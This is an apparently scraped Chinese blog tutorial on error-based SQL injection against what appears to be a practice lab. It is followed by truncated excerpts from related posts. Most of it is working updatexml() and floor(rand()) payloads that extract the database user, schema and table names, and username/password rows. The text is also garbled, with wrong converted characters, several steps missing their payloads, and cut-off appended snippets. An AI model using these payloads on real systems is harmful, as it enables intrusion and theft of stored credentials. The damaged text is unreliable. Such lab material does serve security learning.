SQL注入基礎 3 報錯注入

2021-08-28 15:56:07 字數 3156 閱讀 8469

1)考慮使用報錯注入

url:

url:'

由於多了乙個',sql語句執行時會報錯。

而這裡程式直接將錯誤資訊輸出到了頁面上,所以可以利用報錯注入來獲取資料。

2)獲取user()的值

報錯注入有多種格式,這裡使用updatexml()函式,其中0x7e為ascii編碼,解碼為~。

語句:' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

3)獲取資料庫庫名

(1)獲取當前資料庫庫名

語句:' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

(2)獲取資料庫庫名

語句:' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+

修改limit中第乙個數字,如獲取第二個庫名:limit 1,1。

資料庫庫名:information_schema,challenges,dedecmsv57utf8sp2,dvwa,mysql,performance_schema,security,test,xssplatform

4)獲取資料庫表名

獲取資料庫security的表名,語句:

修改limit中第乙個數字,如獲取第二個表名:limit 1,1

所有表名是:emails,referers,uagents,users

5)獲取欄位名

獲取users表的欄位名,語句:

修改limit中第乙個數字,如獲取users表第二個欄位名:limit 1,1

所有欄位名:id,username,password

6)獲取資料

獲取users表的資料,語句:

' and updatexml(1,concat(0x7e,(select id,username,password from security.users limit 0,1),0x7e),1)--+

url:' and updatexml(1,concat(0x7e,(select username from security.users limit 0,1),0x7e),1)--+

修改欄位名和limit中第乙個數字,就可以獲取users表的資料。

獲取users表前三條資料如下:

SQL注入 報錯注入

乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...

SQL注入 報錯注入

sql注入基礎 盲注 用於注入結果無回顯但錯誤資訊有輸出的情況 floor函式 返回小於等於某值的整數,例如floor 1 則返回1,floor 1.9 也返回1 rand函式 生成隨機數.可指定seed,指定後每次生成的數都一樣即偽隨機,不指定seed則每次生成的隨機數都不一樣.通過floor和r...

SQL注入 報錯注入

利用 mysql select 1 from select count concat version floor rand 0 2 x from information schema.tables group by x a error 1062 23000 duplicate entry 5.1.4...